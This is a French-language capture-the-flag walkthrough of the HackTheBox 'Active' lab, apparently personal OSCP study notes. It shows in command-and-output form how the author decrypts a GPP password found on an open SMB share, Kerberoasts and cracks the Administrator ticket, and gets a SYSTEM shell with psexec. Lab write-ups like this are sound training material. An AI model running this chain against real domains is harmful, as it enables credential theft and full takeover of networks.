Active

vendredi 28 mars 2025 12:34

sudo nmap -p- -sV -sC 10.129.162.154 --open
[sudo] password for alice:
Starting Nmap 7.95 (https://nmap.org) at 2025-03-28 12:25 CET
Nmap scan report for 10.129.162.154
Host is up (0.10s latency).
Not shown: 65482 closed tcp ports (reset), 30 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-28 11:27:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
|_clock-skew: 1s
| smb2-time:
| date: 2025-03-28T11:28:28
|_ start_date: 2025-03-28T11:24:14

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.85 seconds

Toujours dans ce sens !!

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ smbclient -N -L \\\\10.129.162.154
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.162.154 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ smbclient -N \\\\10.129.162.154\\Replication --max-protocol=SMB2
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 12:37:44 2018
  ..                                  D        0  Sat Jul 21 12:37:44 2018
  active.htb                          D        0  Sat Jul 21 12:37:44 2018

                5217023 blocks of size 4096. 279208 blocks available
smb: \>
```

On ouvre le fichier **groups.xml** récupérer du smb share :

```
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
  </User>
</Groups>
```

Users :

On a un mot de passe crypté avec le cpassword qui est enfait un GPP donc on puet le décrupter avec gpp-decrypt

Svc_tgs -
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVY
dYw/NglVmQ

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
```

SVC_TGS : GPPstillStandingStrong2k18

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ smbclient -U active.htb/SVC_TGS  \\\\10.129.162.154\\Users --max-protocol=SMB2
Password for [ACTIVE.HTB\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Sat Jul 21 16:39:20 2018
  ..                                  DR        0  Sat Jul 21 16:39:20 2018
  Administrator                        D        0  Mon Jul 16 12:14:21 2018
  All Users                        DHSrn        0  Tue Jul 14 07:06:44 2009
  Default                            DHR        0  Tue Jul 14 08:38:21 2009
  Default User                     DHSrn        0  Tue Jul 14 07:06:44 2009
  desktop.ini                        AHS      174  Tue Jul 14 06:57:55 2009
  Public                              DR        0  Tue Jul 14 06:57:55 2009
  SVC_TGS                              D        0  Sat Jul 21 17:16:32 2018

                5217023 blocks of size 4096. 279184 blocks available
smb: \>
```

Bon là je bloque donc je regarde les ports et je vois qu'il y a le port 88 quoi est Kerberos donc je tente une attaque de kerberoast :

```
[sudo] password for alice:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 12:25 CET
Nmap scan report for 10.129.162.154
Host is up (0.10s latency).
Not shown: 65482 closed tcp ports (reset), 30 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-28 11:27:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-N
```

sudo impacket-GetUserSPNs -request -dc-ip 10.129.162.154 active.htb/svc_tgs

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ sudo impacket-GetUserSPNs -request -dc-ip 10.129.162.154 active.htb/svc_tgs

[sudo] password for alice:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb   2018-07-18 21:06:40.351723  2025-03-28 12:25:13.372140



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d614851afc586e040477aec448498a78$3d3bf79bfcabbb46ffb8efcd92a657fb04bc0f1b720a78fb936db1cbe77613883ffdabe4cac7e911c801e22e2b71bcc0e6135
5bbd7a0940bb02f42288cf905ce518841191b52500b4e22cd1d4bd7eeb22705a02eecc4efa1559c7290a407f3c778f96eedbd7a671a8435019e518669bbfe1438159aa2d941b899dc0ae90fbe835e2fd0393fa926ac2bdb19bbd22583d1a1f16a3a33b
18346bc715fc0a978f1bd72c62fcc6b191e0028fdf6dc23c4171e63fd0a08ab16fcfabfe7677a7b6ee5d2de43101c0dac1fb01b358c1d96e4652cf283cb210375caef7e3eff2a6c758b7af67e81483cdd9e7d4ebeba878b5c6ea2d9799bb0863a55148
62912ea7ff2f8f14c178eca1dac3d3026407496e1308a229ae7b306b724cb8b8e22f0f2098e7f92e7880c5f7d278482e005ed6a08f5c6b7a7c317d86384f0b7d4dd5530b327bb8ece2db5bcfc7b1b268e0ca300ffd2d54bfc18716c0c3e330b2e72e54
f42a14675d20f27081be4707198776fd66420e98af8317fd93779e0da2fe7001440381f2495124730c091d162a6c572851b1f442931e4370bd64f4490ca30445f8cd4bdb95adb0b3097a95befd8752dc8300b4044462fdfde6eef6207560921feb99db
e9b62e2a18c183788c1380181780fc957285b8bd54c70c59cbf30c4df0dbbb6f72633c57d7d81644e3cbcdfb38dcf82f20b2e79ac037ae581bcaab93d8c76f06316649a90945ec05f42938e2767c8553af9b627d09b630f44eda7e78f33f18a2064aee
78619128203d0fbbf804cde5f7f1f5da28265c40a182129e83e148b3fb5d98c4aaf4381dafd373f4df709b5bed04cee20828b6d86214a2dc613e370cffe59d1c2ed5a075f6eb4ae585bc0991e46b796777a7913bf7b9febec8eb5327726f0e86e209958987
898738634b7d827e1f86c0f254c5942de51379f8dbf69658ded19fd70c53e7ed0d1fd35e9b0cf207c170c9b1728f0494a4f76b816ebb73d3233bb47e87eaeab7414024168fc307bcc9d6a46e2ec52addae7fdb5b344ba1afb0d375f0f45036c0ecbaed
4d39a9584529497040061b4b1f42b1a67803323fbd7d8d73bd96d1dfdfef4c4b70c1a04936ba8c6ce73fb292dfcaca198880ca6b1c96c143300b8fce47d28ff18966a338c5a3e814d2f69613e9424c0d180fb7719555442a5602cf7c242e884e55fc54
0318754fb7b2fc91ebd120ed9336d908ba34223b3ea1442acf562f3c9b8a84999fd5350c2f46d561feacc34f222fe86
```

Et ça fonctionne !!!!

sudo hashcat -m 13100 hashes.kerberoast
/usr/share/wordlists/rockyou.txt

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d614851afc586e040477aec448498a78$3d3bf79bfcabbb46ffb8efcd92a657fb04bc0f1b720a78fb936db1cbe77613883ffdabe4cac7e911c801e22e2b71bcc0e61355bbd7a0940bb02f42288cf9
05ce518841191b52500b4e22cd1d4bd7eeb22705a02eecc4efa1559c7290a407f3c778f96eedbd7a671a8435019e518669bbfe1438159aa2d941b899dc0ae90fbe835e2fd0393fa926ac2bdb19bbd22583d1a1f16a3a33b18346bc715fc0a978f1bd72c62fcc6b191e0028fdf6dc2
3c4171e63fd0a08ab16fcfabfe7677a7b6ee5d2de43101c0dac1fb01b358c1d96e4652cf283cb210375caef7e3eff2a6c758b7af67e81483cdd9e7d4ebeba878b5c6ea2d9799bb0863a5514862912ea7ff2f8f14c178eca1dac3d3026407496e1308a229ae7b306b724cb8b8e22f0
f2098e7f92e7880c5f7d278482e005ed6a08f5c6b7a7c317d86384f0b7d4dd5530b327bb8ece2db5bcfc7b1b268e0ca300ffd2d54bfc18716c0c3e330b2e72e54f42a14675d20f27081be4707198776fd66420e98af8317fd95779e0da2fe7001440381f2495124730c091d162a6c
572851b1f442931e4370bd64f4490ca30445f8cd4bdb95adb0b3097a95befd8752dc8300b4044462fdfde6eef6207560921feb999dbe9b62e2a18c183788c1380181700fc957285b8bd54c70c59cbf30c4df0dbbb6f72633c57d7d81644e3cbcdfb38dcf82f20b2e79ac037ae581bc
aab93d8c76f06316649a90945ec05f42938e2767c8553af9b627d09b630f44eda7e78f33f18a2064aee7861912820 3d0fbbf804cde5f7f1f5da28265c40a182129e83e148b3fb5d98c4aaf4381dafd373f4df709b5bed04cee20828b6d86214a2dc613e370cffe59d1c2ed5a075f6
eb4ae585bc0991e46b796777a7913bf7b9febec8eb5327726f0e86e209958987386 3b7d827e1f86c0f254c5942de51379f8dbf69658ded19fd70c53e7ed0d1fd35e9b0cf207c170c9b1728f0494a4f76b816ebb73d3233bb47e87eaeab7414024168fc307bcc9d6a46e2ec52adda
e7fdb5b344ba1afb0d375f0f45036c0ecbaed4d39a9584529497040061b4b1f42b1a67803323fbd7d8d73bd96d1dfdfef4c4b70c1a04936ba8c6ce73fb292dfcaca198880ca6b1c96c143300b8fce47d28ff18966a338c5a3e814d2f69613e9424c0d180fb7719555442a5602cf7c
242e884e55fc540318754fb7b2fc91ebd120ed9336d908ba34223b3ea1442acf562f3c9b8a84999fd5350c2f46d561feacc34f222fe86:Ticketmaster1968
```

Administrator : Ticketmaster1968

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ crackmapexec smb 10.129.162.154 -u "Administrator"  -p "Ticketmaster1968" --continue-on-success
/usr/lib/python3/dist-packages/cme/cli.py:37: SyntaxWarning: invalid escape sequence '\ '
  formatter_class=RawTextHelpFormatter)
/usr/lib/python3/dist-packages/cme/protocols/smb/smbexec.py:49: SyntaxWarning: invalid escape sequence '\p'
  stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host
/usr/lib/python3/dist-packages/cme/protocols/smb/smbexec.py:93: SyntaxWarning: invalid escape sequence '\{'
  command = self.__shell + 'echo ' + data + ' ^> \\\\127.0.0.1\\{}\\{} 2^>^&1 > %TEMP%\{} & %COMSPEC% /Q /c %TEMP%\{} & %COMSPEC% /Q /c del %TEMP%\{}'.format(self
File, self.__batchFile)
/usr/lib/python3/dist-packages/cme/protocols/winrm.py:324: SyntaxWarning: invalid escape sequence '\S'
  self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
/usr/lib/python3/dist-packages/cme/protocols/winrm.py:338: SyntaxWarning: invalid escape sequence '\S'
  self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
SMB         10.129.162.154  445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.129.162.154  445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$
```

```
┌──(alice㉿kali)-[~/../Machines/OSCP_WORK/AD/Active]
└─$ impacket-psexec administrator@10.129.162.154
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Requesting shares on 10.129.162.154.....
[*] Found writable share ADMIN$
[*] Uploading file ALXAZerJ.exe
[*] Opening SVCManager on 10.129.162.154.....
[*] Creating service jKcY on 10.129.162.154.....
[*] Starting service jKcY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```

```
c:\Users\Administrator\Desktop> type root.txt
45d78ce30fabcba4124532bb4d8af470

c:\Users\Administrator\Desktop>
```